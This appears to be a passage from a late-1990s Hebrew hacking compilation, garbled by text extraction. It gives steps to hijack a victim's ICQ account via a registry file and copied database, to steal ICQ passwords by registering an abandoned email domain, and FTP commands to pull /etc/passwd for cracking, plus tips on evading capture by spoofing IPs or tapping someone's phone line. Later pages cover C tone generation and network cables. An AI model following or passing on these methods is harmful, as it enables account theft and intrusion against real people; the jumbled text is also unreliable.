"URL"="Click For More Information""Date"="20-OCT-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups[
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]1
Name"="General Chat""Number"=dword:00000001"Version"=dword:00000001"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]2
Name"="Romance""Number"=dword:00000002"Version"=dword:00000002"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]3
Name"="Games""Number"=dword:00000003"Version"=dword:00000003"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]4
Name"="Students""Number"=dword:00000004"Version"=dword:00000004"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]5
Name"="20 Something""Number"=dword:00000006"Version"=dword:00000006"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]6
Name"="30 Something""Number"=dword:00000007"Version"=dword:00000007"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]7
Name"="40 Something""Number"=dword:00000008"Version"=dword:00000008"

186
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]8
Name"="50 Plus""Number"=dword:00000009"Version"=dword:00000009"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers\Server1[
Host"="icq1.mirabilis.com""Port"=dword:00000fa0"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Canasta[
":Type"="Command""Command Line"="/ip"
"Path"="C:\\Program Files\\Canasta\\Canasta.exe"
URL"="http://ourworld.compuserve.com/homepages/mharte""Version"=dword:0000000f"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Connectix[
]VideoPhone
"Type"="Extension""Format"="/p:tcp /ac:""Extension"="cvp"
URL"="http://www.connectix.com/html/videophone.html""Version"=dword:00000009"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Cu-Seeme[
"Type"="Command""Command Line"="""Path"="C:\\CUSEEME\\CUSEEM32.EXE"
URL"="http://www.cu-seeme.com/""Version"=dword:00000006"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\IRIS Phone[
"/Type"="Extension""Format"="""Extension"="iru""URL"="http://irisphone.com"
Version"=dword:0000000a"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat[
"Type"="ServerExtension""Format"="1.1\\n-u 1 -a ""Extension"="vce"
"NumParameters"=dword:00000002"Server1"="vchat1.microsoft.com"
URL"="http://vchat1.microsoft.com""Version"=dword:00000011"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft[
]VChat\Param1
"ParamName"="World""CanOtherChange"="No""Param1"="#Compass""Param2"="#BugWorld"
"Param3"="#Fishbowl""Param4"="#Lodge""Param5"="#Lunar""Param6"="#Lodge"
"Param7"="#Practice""Param8"="#RedDen""Param9"="#TableTop"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft[
]VChat\Param2
"ParamName"="Avatar""CanOtherChange"="Yes""Param1"="Amani""Param2"="Anderson"
"Param3"="Brb""Param4"="Cat""Param5"="Crab""Param6"="Dancer""Param7"="Dred"
"Param8"="Duggan""Param9"="Joey""Param10"="Lulu"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Netscape CoolTalk[
""="Type"="Command""Command Line"
"Path"="C:\\Program Files\\Netscape\\Navigator\\CoolTalk\\CoolTalk.EXE"
"
URL"="http://home.netscape.com/comprod/products/navigator/version_3.0/communication/cooltalk/ind
"ex.html
Version"=dword:00000004"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Rikken on the[
]Rockx
"Type"="ClientServer""Client Command Line"="/CLIENT %i"
"Server Command Line"="/SERVER""Client Path"="C:\\Rikken\\Rikken.exe"
"/Server Path"="C:\\Rikken\\Rikken.exe""URL"="http://www.dse.nl/~ramon/rikken"
Version"=dword:00000017"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VDOPhone[
"Type"="Extension""Format"="callto://""Extension"="vdp"
URL"="http://www.vdo.net/download/""Version"=dword:00000003"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VidCall[
"Type"="Command""Command Line"="""Path"="C:\\VidCall\\Corp.EXE"
"URL"="http://www.access.digex.net/~vidcall/vidcall.html"
Version"=dword:00000008"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\WebPhone[
"/Type"="Extension""Format"="""Extension"="wpc""URL"="http://www.webphone.com"
Version"=dword:00000007"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Quake[
"Type"="ClientServer""Client Command Line"="-mpath +connect %i"
"Server Command Line"="-mpath -listen""Client Path"="c:\\quake_sw\\Q95.bat"
"Server Path"="c:\\quake_sw\\Q95.bat""Server1"="quake.xmisson.com"
URL"="http://www.idsoftware.com""Version"=dword:00000010"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat[
"Type"="ServerCommand""Format"="GROUPNAME=i PORT=15000"
Path"="C:\\Program Files\\VoxChat\\VoxChat.exe""NumParameters"=dword:00000001"
"Server1"="voxchat1.voxware.com""Server2"="voxcha2.voxware.com"
"URL"="http://www.voxchat.com/low/download.htm"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat\Param1[
"ParamName"="Room""CanOtherChange"="No""Param1"="#ICQ"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\PhoneLocations[
LastUpdate"=dword:00000000"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Main[
SelectedCell"=dword:00000000"AlwaysOnTop"="Yes""LeftBarWidth"=dword:000000ad"

187
RightBarWidth"=dword:000000ad"FloatBar-Left"=dword:00000255"
FloatBar-Right"=dword:00000307"FloatBar-Top"=dword:00000033"
"FloatBar-Bottom"=dword:000001f3"State"="Floating""Minimized"="No"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Windows[
Response"=dword:008f00c9"SearchWiz"=dword:006f00c0"NotifyWiz"=dword:006f00c0"
posNovice"=dword:009300dc"posMOTD"=dword:00af00b7"posMenuConfig"=dword:00a900e7"
RemoveUIN"=dword:00bb0108"Message"=dword:008b004f"Security"=dword:007400b4"
Prefs"=dword:007f00ae"History"=dword:0096003a"File Request"=dword:009000f0"
FileTransfer"=dword:009700ae"Info"=dword:009300d2"FetchUser"=dword:00e9010e"
URL Message"=dword:00a00069"Away"=dword:00bd00f7"Chat Request"=dword:009f00dd"
Contacts List"=dword:008300bd"Chat"=dword:008b00f5"Phone"=dword:000a000a"
Phone Call Request"=dword:007700e5"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Search[
Place"=dword:00a400cc"Type"=dword:00000002"Width"=dword:01880188"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\ICQ Chat[
ChatStyle Counter"=dword:00000003"Pen Color"=dword:0080ffff"
"Back Color"=dword:00004000"Send Focus"="Yes""Enable Sounds"="Yes"
"Name Bars"="Yes""Always On Top"="No""AutoColor"="No""OverRide Format"="Yes"
"Show Toolbar"="Yes""State"=dword:00010000"New Font Name"="Times New Roman"
Char Set"=dword:00000000"IRCListWidth"=dword:00000006"
Font Pitch"=dword:00000012"New Font Height"=dword:0000000e"
Font Effects"=dword:00000000"AutoColor 0"=dword:00000000"
AutoColor 1"=dword:00000080"AutoColor 2"=dword:00008000"
AutoColor 3"=dword:00008080"AutoColor 4"=dword:00800000"
AutoColor 5"=dword:00800080"AutoColor 6"=dword:00808000"
AutoColor 7"=dword:00808080"AutoColor 8"=dword:00c0c0c0"
AutoColor 9"=dword:000000ff"AutoColor 10"=dword:0000ff00"
AutoColor 11"=dword:0000ffff"AutoColor 12"=dword:00ff0000"
AutoColor 13"=dword:00ff00ff"AutoColor 14"=dword:00ffff00"
AutoColor 15"=dword:00ffffff"Place-Left"=dword:0000000a"
Place-Right"=dword:000001fe"Place-Top"=dword:0000000a"
"Place-Bottom"=dword:0000021a"New LogFile name"="ICQChatLog.txt"
"New SaveFile name"="ICQChatSave.txt"

]credit abt the reg key to http://i.am/devil crew[

.REG ‫ שמרו את הקובץ כקובץ‬.3


.‫**** אם יש לכם תוכנת איסיקיו פתוחה סגרו אותה‬
DB - ‫) לתיקית ה‬idx,dat( ‫ העתיקו את הקבצים שהשגתם בהתחלה‬.4
)ex. c:\progra~1\icq\db( .‫של האיסיקיו שלכם‬
! ‫ הקישו כן‬...‫בלהבלה‬..‫ זה ישאל אתכם אם ברצונכם‬.‫ שכתבתם זה עתה‬REG ‫הריצו את הקובץ‬.5
‫ דרך התפריט של האיסיקיו בתפריט ההתחלה(או דרך‬dbconvert - ‫ הריצו את תוכנת ה‬.6
.)‫התיקיה עצמה‬
"Convert a old DB" : ‫לחצו על‬
‫זה יתחיל לחסל את המנוי הישן ואמור לפתוח אוטומטית את האיסיקיו עם המשתמש החדש‬
.)‫(הקורבן‬
.‫ פתחו זאת בעצמכם‬, ‫אם זה לא נתפח לבד‬
: ‫אם זה לא עובד עדיין על המספר של הקורבן שלכם עשו זאת‬
click ICQ menu, click on "Add/Change Current User", then click on "Change the
."Active User
.Choose the UIN of the victim
: ‫ למה זה קורה אתם שואלים ? יש שתי סיבות עיקריות‬,‫זה יכול לבקש ממכם סיסמא‬
.‫ הופעלה הגנת קראקים על המספר שאתם מתלבשים עליו אז תשכחו מלגלות עליו דברים‬.‫א‬
‫ ואז אתם בעצם‬.‫ליין‬-‫ המספר נמצא אוןליין אז אתם צריכים לחכות עד שהוא יהיה אוף‬.‫ב‬
! .‫היא‬/‫הוא‬
! ‫בהצלחה‬

.‫ על הניסוח של התוסף‬Rul3R ‫ ותודה ל‬.‫ חבר קרוב ועוזר לארגון‬- The-MOD ‫תוסף ע"י‬
:‫השגת סיסמאות של מספרי איסיקיו‬
‫ בשביל להשיג‬icq ‫מאיל שלו כתובת שלא קיימת‬-‫מה צריך ? צריך רק למצוא משתמש שכתב באי‬
‫מספר ב‬
:‫לדוגמא‬

188
‫אם מישהו רשם למשל‪:‬‬
‫‪asdf@asdf.com‬‬
‫נכנסים לאחד מהאתרים שמביאים לרשום דומינים בחינם והם מביאים גם אי‪-‬מאיל‬
‫( ‪) www.namedemo.com / www.namezero.com‬‬
‫ושם רושמים את הכתובת‬
‫‪asdf.com‬‬
‫אחרי שרושמים את הכתובת הזאת‬
‫פותחים חשבון דואר באתר שבו רשמתם את הדומין‬
‫ושהדואר שאתם פותחים יהיה‬
‫‪asdf@asdf.com‬‬
‫אחרי שפותחים את כתובת הדואר‬
‫נכנסים לאתר ‪www.icq.com/password :‬‬
‫של מי שבחרתם ‪-icq‬ושם כותבים את מספר ה‬
‫אם עשיתם את כל השלבים נכון‬
‫הסיסמא של המספר תשלח לדואר שלכם‬
‫( ‪) asdf@asdf.com‬‬
‫הצעות‪ :‬כדאי לקחת מספר שהוא גם מספר הטלפון\האישי שלך שיהיה קל לזכור‬
‫נכתב ע"י ‪ , The-MOD‬נוסח ע"י ‪ Rul3R‬ונכנס כתוסף לטקסט של ‪.Pirs[i]ng‬‬
‫בקשות או כל דבר אחר ל ‪ The -MOD‬לשלוח ל‪:‬‬
‫‪TheMOD@hotmail.co.il‬‬
‫‪By The-MOD‬‬

‫‪189‬‬
‫מה היא פריצה ‪ +‬דוגמה‬

‫מה במדריך זה‪:‬‬


‫* מה זה פריצה ? ולמה ?‬
‫* איך להיזהר בזמן הפריצה ?‬
‫* ‪Proxy‬‬
‫* הסבר על פריצה אתרי אף‪.‬טי‪.‬פי והוצאת קובץ סיסמאות‪.‬‬
‫* מאגרי מידע מומלצים‪.‬‬

‫מה זה פריצה ? ולמה ?‬

‫פריצה בעברית נכונה היא כניסה‪/‬לגנוב גישה למקום שאין לך גישה לשם‪.‬‬
‫להיכנס למקום‪/‬אזור‪/‬מערכת‪/‬רשת שאתה לא מורשה להיות שם‪,‬‬
‫אבל אתה בכל זאת אתה נכנס ע"י פריצה למקום‪/‬אזור‪/‬מערכת‪/‬רשת‪.‬‬
‫פריצה היא לא חוקית גם במחשבים וגם בחיים האמיתיים‪ ,‬ויש מדינות שעושות סיפור ממש גדול‬
‫מזה‪.‬‬
‫למשל בישראל אתה לא כל כך חוטף על הראש עם תופסים אותך אבל אם בבריטניה אתה נתפס‪,‬‬
‫אתה מקבל עונש כמו טרוריסט‪ ,‬למרות שכולם יודעים שזה לא אותו דבר אבל ככה הם ה"חיים"‪.‬‬
‫פריצה בכלליות היא חילול הקוד שמנהל מקום‪/‬אזור‪/‬מערכת‪/‬רשת קבע ואף לפעמים שינוי הקוד‪.‬‬
‫באקדור הוא נושא אהוב על האקרים והוא משמש ועוזר להאקר לחדור‬
‫למקום‪/‬אזור‪/‬מערכת‪/‬רשת‪.‬‬
‫שורות קוד שמישהו הכניס במכוון כדי לאפשר לעצמו (בד"כ) גישה למשהו על מחשב אחר יותר‬
‫בקלות‪..‬‬
‫לדוגמא קוד שיפתח פורט מסויים רק לאי פי מסויים ויתן לו לכתוב שם פקודות קבועות שיבצעו‬
‫פעולה כלשהי לפי מה שמכין הבאקדור קבע‪.‬‬
‫לפעמים האקרים אשר מצאו את הבאקדור מנצלים את זה ומכינים כמה נוספים‬
‫כדי שהפריצה הבאה למערכת תהיה פשוטה יותר‪.‬‬
‫למה פורצים אתם רוצים לדעת ?‬
‫אני חושב שיש שתי קטגוריות לרצון של אנשים לפרוץ‪.‬‬

‫א‪ .‬האקר "טוב" ‪ -‬האקר טוב לא יפרוץ למקום‪/‬אזור‪/‬מערכת‪/‬רשת כדי להרוס או לשים את‬
‫החותמת שלו‪,‬‬
‫לשים את השם שלו ולצפות שיראו בחדשות שהוא פרץ וצריך לפחד ממנו כו'‪ ,‬הוא לא יפרוץ‬
‫בשביל מטרה רעה‪.‬‬
‫הוא יפרוץ‪ ,‬אם בכלל למקום‪/‬אזור‪/‬מערכת‪/‬רשת כדי להראות למנהל הרשתת שיש לו בעיה‬
‫איפשהו‪.‬‬
‫ישאיר חותמת ולא ימחק את הלוגים או יהרוס משהו‪ .‬המטרה שלו היא לעשות טוב !!!‬
‫ה זה מתחלק לשני חלקים‪:‬‬
‫‪ .1‬מנהל הרשת יודה להאקר שהודיע לו על הבעיה ואף אולי יצ'פר אותו איכשהו‪.‬‬
‫‪ .2‬מנהל הרשת לא יקבל את כטובה וידווח עליו לרשויות ומשם זה מתפצת לעוד שני חלקים‬
‫(תסתכלו יותר למטה)‪.‬‬

‫ב‪ .‬האקר "רע" ‪ -‬הוא ההפך המושלם (או שלא) מההאקר הטוב‪ ,‬הוא יפרוץ‬
‫למקום‪/‬אזור‪/‬מערכת‪/‬רשת כדי‪,‬‬
‫להשליט טרור (קצת מוגזם) ולהרוס את מה שהוא הגיע אליו‪.‬‬
‫הוא ישאיר חותמת שהוא הרס את זה בגלל שבלה בלה‪ ,‬ובלה בלה‪.‬‬
‫קרוב לוודאי שהוא יהרוס את כל הקבצים במערכת וימחק את הלוגים (‪.)LOGS‬‬
‫הוא לא יעשה שום דבר טוב אלא רק יעשה את זממו‪ ,‬שהוא דבר רע‪.‬‬
‫מפה העניין מת]צל לשני חלקים‪.‬‬
‫‪ .1‬יתפסו אותו ‪ ,‬יקנסו אותו‪ ,‬יהיה משפט‪ ,‬הוא יקבל עונש‪ ,‬לא יגע במחשב ‪ 20‬שנה וימות מזקנה‪.‬‬
‫‪ .2‬לא יתפסו אותו‪ ,‬לא יקנסו אותו‪ ,‬לא יהיה משפט‪ ,‬הוא לא יענש‪ ,‬הוא יהרוס עוד אתר ומשם זה‬
‫ממשיך‪.‬‬
‫אולי יתפסו ואולי לא‪ .‬העונש על פריצה הוא תמיד כבד ‪ ,‬אבל יש מדינות שהוא יותר מדי כבר‪.‬‬
‫תודה ל‪... -‬‬

‫איך להיזהר בזמן הפריצה ?‬

‫‪190‬‬
‫קודם כל הכי חשוב‪ ,‬בכלל לא כדאי לפרוץ אלא אם אתם בטוחים שאתם יודעים איך להיזהר‪.‬‬
‫הנה פה כמה שיטות נחמדות להגן על עצמכם‪.‬‬
‫יש כאלה אנשים שאומרים לא לפרוץ מהבית‪ ,‬ויש כאלה שאומרים לחייג *‪ 43‬שלא יאתרו מאיפה‬
‫אתה מתקשר‪.‬‬
‫כל אלה נכונים במקצת‪.‬‬
‫& לידע אישי‪ 43* ,‬לא חוסם את השיחה אלא מונע *‪ .42‬במכשירי שיחה מזוהה רגילים זה מונע‬
‫את הצגת המספר‪,‬‬
‫אבל בחברות אינטרנט וכל מה שיש לו ציוד רציני זה ימנע *‪ 42‬ולא יותר‪.‬‬
‫השיטה הכי טובה לא להיתפס‪ ,‬היא לא לעשות את זה אבל אם בכל מקרה אתם רוצים אז הנה‪:‬‬

‫‪ .1‬תנסו להסוות את האיפי ‪ /‬הוסט ‪ /‬סבנט מסק שלכם‪.‬‬


‫אם אתם יכולים אפילו את המספר טלפון שעליו אתם מתחברים לאינטרנט ‪ ,‬לא דרך *‪ 43‬אלא‬
‫דרכים אחרות אם אתם מכירים‪.‬‬

‫‪ .2‬תתחברו דרך כמה שיותר תחנות שידור כדי שיהיה קשה להגיע אליכם‪ proxy( .‬וכו')‪.‬‬

‫‪ .3‬עשו ספופ ממש חזק לאיפי שלכם שגם עוד שנה לא יגיעו אליו‪.‬‬

‫‪ .4‬תנסו לא לפרוץ מהבית כי זה באמת עוזר אבל זה תלוי‪ ,‬אם יש לכם מקום שאתם יכולים להיות‬
‫שם הרבה זמן‪,‬‬
‫ולא יחדשו בכם או לא יגיעו אליכם לאחר המעשה‪ ,‬אז לכו על זה‪.‬‬

‫‪ .5‬כמו כן השיטה לדעתי הכי טובה ‪ ,‬היא להתחבר לקו טלפון של מישהו ומשם להתחבר‬
‫לאינטרנט ולעשות את זממכם‪.‬‬
‫לעוד מידע איך לעשות על זה לכו לטקסטי הפריקינג שלנו וחפשו מידע ברחבי הרשת ‪.‬‬

‫‪.Proxy‬‬

‫שרת המוקם על ידי ספקי שירות (חברות אינטרנט‪ ,‬חברות גדולות וכו') למען לקוחותיו ותפקידו‬
‫ליצור‬
‫קשר עם מחשבים ברשת ולשלוף מהם מידע על פי בקשת הגולשים‪ .‬לשרת הפרוקסי חיבור מהיר‬
‫הרבה יותר‬
‫משל הגולש הממצוע עם המודם ולכן משמש כמקום מהיר בהרבה לקבלת קבצים ממנו‪.‬‬
‫אם הרבה אנשים מבקשים את אותו קובץ ‪ -‬הקובץ נשמר בשרת הפרוקסי‪ ,‬ובכך חוסך לגולשים‬
‫את ההמתנה‬
‫לקבלת המידע משרת האינטרנט המרוחק‪ .‬על שרתי פרוקסי יש גם הגנה ולכן הם יכולים לשמש‬
‫כפיירוול‪.‬‬
‫ככה כל העניין הזה עובד‪:‬‬

‫>‪| | PC-MODEM | -----‬‬ ‫‪| PROXY | -----> | SITE‬‬

‫הסבר על פריצה אתרי אף‪.‬טי‪.‬פי והוצאת קובץ סיסמאות‪.‬‬

‫מהו בעצם אף‪.‬טי‪.‬פי (‪? )FTP‬‬


‫‪ ,FTP - File Transport Protocol‬הוא פרוטוקול אשר משמש אותנו ואת אחרים להעברת קבצים‬
‫באינטרנט‪.‬‬
‫כדי לגשת לאתר אף‪.‬טי‪.‬פי של מישהו צריך שם משתמש וסיסמא‪ ,‬אפשר גם להיכנס כאנונימי ‪,‬‬
‫אורח‪.‬‬
‫אבל אם אתה נכנס כאורח קרוב לוודאי שתמיד תוכל רק לצפות שמה שיש וכל מה שיש באתר‪,‬‬
‫הופך להיות למצב "קריאה בלבד"‪ .‬אי אפשר להוריד את זה למחשבך האישי‪.‬‬

‫‪191‬‬
‫עכשיו יש לכם פה הסבר על פריצה לאתר אף‪.‬טי‪.‬פי והוצאת קובץ הסיסמאות של האתר‪ ,‬ואז‪,‬‬
‫אפשר לגשת לאתר אף‪.‬טי‪.‬פי ללא ידיעתו של האדמין כי הוא לא יודע שיש לך את הסיסמא‪.‬‬
‫אוקי הנה השיטה רק‪ ,‬תזהרו במה שאתם עושים אם זה‪.‬‬

‫‪ .1‬לכו ותפתחו לכם חלון דוס‪ ,‬פרומט דוס (‪.)Dos Promt‬‬

‫‪ .2‬הקישו את הרצף הבא‪:‬‬


‫‪ftp ftp.server-to-hack.com‬‬

‫‪ .3‬עכשיו אתה אמורים להקיש שם משתמש‪ ,‬נכון ? אל תקישו כלום‪ ,‬לחצו על אנטר (‪.)Enter‬‬

‫‪ .4‬עכשיו אתה אמורים להקיש סיסמא‪ ,‬נכון ? אל תקישו כלום‪ ,‬לחצו על אנטר (‪.)Enter‬‬

‫‪ .5‬הקישו את הרצף הבא‪.quote user ftp :‬‬

‫‪ .6‬עכשיו את זה‪.quote cwd ~root :‬‬

‫‪ .7‬ועכשיו את זה‪( .quote pass ftp :‬בלי הנקודה ובלי הנקודתיים)‪.‬‬

‫‪ .8‬עכשיו אתם מחוברים‪ ,‬הקישו את זה ‪.cd etc :‬‬

‫‪ .9‬עכשיו אתם בתיקיה ‪ ,etc‬הקישו ‪.get passwd :‬‬

‫אם עשיתם הכל נכון אז הקובץ של הסיסמאות אמור לרדת לכונן הקשיח שלכם ומשם אתם לבד‪.‬‬
‫אם הוא מוצפן בדרך כלשהי‪ ,‬נסו לעשות אם זה משהו‪,‬‬
‫תחשבו אלי איך לפצח אותו או תורידו תוכנות שתעשה את זה (לא חסר תוכנות כאלה)‪.‬‬
‫ואם הקובץ לא מוצפ אז זה חסך לכם עבודה ! ועבודה רבה !‬
‫משם תעשו מה שאתם רוצים אם מה שאתם מוצאים‪.‬‬

‫&&& כל מה שאתם מקישים‪ ,‬הקישו בלי הנקודה ובלי הנקודתיים‪.‬‬

‫&&&& הערה חשובה !!!! זה לא יעבוד על כל האתרים וכל כל המערכות‪.‬‬


‫אז אם זה לא עובד לכם ‪ ,‬אל תבואו בטענות אלי !‬
‫אני אישית יודע שזה עובד על אתרים מסוימים‪.‬‬

‫‪By Pirs[i]ng‬‬

‫‪192‬‬
‫יצירת טונים בשפת ‪C‬‬

‫תוכן העניינים‬
‫‪-------------‬‬

‫‪ .1‬טונים‬
‫‪ .2‬מבט ראשוני‬
‫‪ .3‬מבט שני‬
‫‪ .4‬פקודות‬
‫‪ .5‬ערבוב טונים‬

‫‪ .1‬טונים‬

‫טונים הוא בעצם צליל‪ ,‬או סדרה של תווים‪ ,‬אשר רצית בתדירות מסויימת ‪.‬‬
‫טון מסוים ואני משמיע אותו בטלפון ציבורי מסוים זה עושה משהו ‪...‬‬
‫יש המון טונים ‪ :‬לניתוק הטלפון ‪ ,‬לקופסאות וכ'ו ‪...‬‬

‫‪ .2‬מבט ראשוני‬

‫‪>include<stdio.h#‬‬
‫‪>include<dos.h#‬‬

‫‪)(void main‬‬
‫{‬

‫‪;)Sound)1800‬‬
‫‪;)Delay)1000‬‬
‫‪;)(Nosound‬‬

‫}‬

‫‪ .3‬מבט שני‬

‫מה בעצם כל זה עושה ?‬


‫התוכנה מפעילה טון ‪1800‬‬
‫לשנייה ‪ ,‬ואז מפסיקה אותו ‪...‬‬

‫‪>include<stdio.h#‬‬
‫‪/* )(include<dos.h> /* for delay#‬‬

‫‪)(void main‬‬
‫{‬

‫‪/* Sound)1800(; /* Sound of 1800mhz‬‬


‫‪/* Delay)1000(; /* For Sec‬‬
‫‪/* Nosound)(; /* stop the sound‬‬

‫}‬

‫‪193‬‬
‫‪ .4‬פקודות‬
‫‪---------‬‬

‫‪ - ;)*(sound .1‬ה * מסמן את הצליל בתדירות שאתה רוצה‬

‫‪ - ;)*(dealy .2‬ה * מסמן את הזמן שאתה רוצה לחכות במילי שניות‬

‫‪ - ;)(nosound .3‬מפסיק את הצליל‬

‫‪ .5‬ערבוב טונים‬
‫‪--------------‬‬

‫אם אתם רוצים לערבב טונים אז ככה צריכה להיות התוכנה‬

‫‪>include<stdio.h#‬‬
‫‪>include<dos.h#‬‬

‫‪)(void main‬‬
‫{‬

‫‪;)Sound)1000‬‬
‫‪;)Sound)200‬‬
‫‪;)Delay)1000‬‬
‫‪;)(Nosound‬‬

‫}‬
‫מה שקורה פה ‪ ,‬התוכנה מפעיל שני צלילים אחד בתדירות ‪ , 1000‬והשני‬
‫בתדירות ‪ . 2000‬אז היא מחכה ‪ 1000‬מילי שניות שזה שנייה אחת ‪ ,‬ואז מפסיקה‬
‫את הצלילים ‪ .‬זה הכל ‪...‬‬

‫אתם יכולים לערבב המון צלילים ביחד ‪ ,‬אבל לא יצא מזה משהו מועיל ‪.‬‬

‫‪By Boba Smith‬‬

‫תיקונים ‪Razor‬‬

‫‪194‬‬
‫כבלים‬
‫איזה סוגים יש ומה צריך לדעת עליהם ! ‪Pir[s]ing /‬‬

‫כל סוגי הכבלים מתחלקים לשלוש חלוקות עיקריות‪.‬‬


‫• כבלים שזורים‬
‫• כבל קוקסיאלי‬
‫• סיב אופטי‬

‫כבל זוג שזור‪)UTP( .‬‬


‫ישנם שני סוגים ‪:‬‬
‫מסוכך ולא מסוכך‪.‬‬
‫המסוכך (‪ )Twisted Pair‬הוא‪:‬שני חוטי נחושת מלופפים זה סביב זה ומבטלים הפרעות בין‬
‫החוטים‪.‬‬

‫הלא מסוכך ( ‪)UnshildedTwisted Pair‬הוא‪:‬שני חוטי נחושת מלופפים זה סביב זה עם חוט‬


‫מפריד‬
‫ביניהם ומבטלים הפרעות בין החוטים‪.‬‬

‫אין ביניהם הבדל רב אבל הם הכבלים הנפוצים ביותר לעבודה משרדית ואני בטוח שבכמה בתי‬
‫ספר משתמשים בכבלים הנ"ל‪.‬‬
‫כבלי ה‪ UTP / TP -‬יוצאים מכרטיס הרשת לתקע בקיר (‪ )Rj45‬אשר מועברים דרך כבל זהה‬
‫לרכזת‪.‬‬
‫טבלת סיכום של ה ‪.TP / UTP‬‬
‫אורך מירבי – ‪)100M )328 feet‬‬
‫מהירות – ‪ 10Mbps‬בד"כ אבל יכול להיות גם ‪100‬‬
‫התקנה‪/‬תחזוקה – פשוטה ביותר וקלה‪.‬‬
‫הפרעות – רגיש במיוחד‪.‬‬
‫עלות – הזול ביותר ‪.‬‬

‫ישנתם כמו כן אותם גרסאות של כבלים רק כפולים‪.‬‬

‫‪.Unshielded Double Twisted Pair. / shielded Double Twisted Pair‬‬


‫ההבדל ביניהם הוא שבכל הכפול יש ‪ 2‬ארבע חוטים אשר מלופפים לשתי קבוצות‪.‬‬
‫בכך היא מורידה את אחוז ההפרעות לאחוז פחות יותר ומשפרת את ביצועי הכבל‪.‬שוי נחושת‬
‫ארוגה בין החוט ארוגה בין החוטים למעטפת בפלסטיק‪.‬‬
‫טבלת סיכום של ה ‪.STP / SUTP‬‬
‫אורך מירבי – ‪)100M )328 feet‬‬
‫מהירות – ‪155Mbps‬‬
‫התקנה‪/‬תחזוקה – קלה אבל צריך מחברים מיוחדים‪ .‬פחות גמיש מהרגיל‪.‬‬
‫הפרעות – עמיד בפני הפרעות‪.‬‬
‫עלות – יקר מה‪ TP -‬אך זול לעומת האחרים‪.‬‬

‫‪195‬‬
‫כבל קוקסיאלי –‬

‫מורכב משני כבלים אשר מופרדים ע"י שכבת בידוד(כתום)‪.‬‬


‫הליבה המרכזית היא בד"כ מספר סיבי נחושת מופרדים‪.‬‬
‫מעטפת פלסטיק לשמירה על הליבה עשוי כמו כן מסיבי נחושת מופרדים(כחול)‪.‬‬
‫הנתונים מועברים ע"י הליבה המרכזית – צבע כתום בתמונה‪.‬‬
‫ישנם שני סוגים של הכבל הנ"ל‪.‬‬
‫‪( with RG58 connectors.‬שקע) ‪ThinNet – Connected to the plug‬‬
‫‪( with RG8, RG11 connectors.‬שקע) ‪ThickNet - Connected to the plug‬‬

‫בכל הכבלים המוליך החיצוני הוא מוארק ומונע הפרעות וחיבול בכבל ע"י סיכוך‪.‬‬

‫מחשב‬ ‫כרטיס רשת‬

‫‪Rg58, Rg8‬‬ ‫מחבר מיוחד‬

‫תקע קיר‬ ‫תקע בקיר של הטלפון‬

‫טבלת סיכום – ‪( thinnet / ThickNet‬קוקסיאל)‪.‬‬


‫‪ThickNet‬‬ ‫‪ThinNet‬‬
‫אורך מירבי ‪500 :‬‬ ‫אורך מירבי ‪185:‬‬
‫מהירות ‪10mbps :‬‬ ‫מהירות ‪10mbps :‬‬
‫התקנה‪ :‬קשה‬ ‫התקנה‪ :‬קלה‬
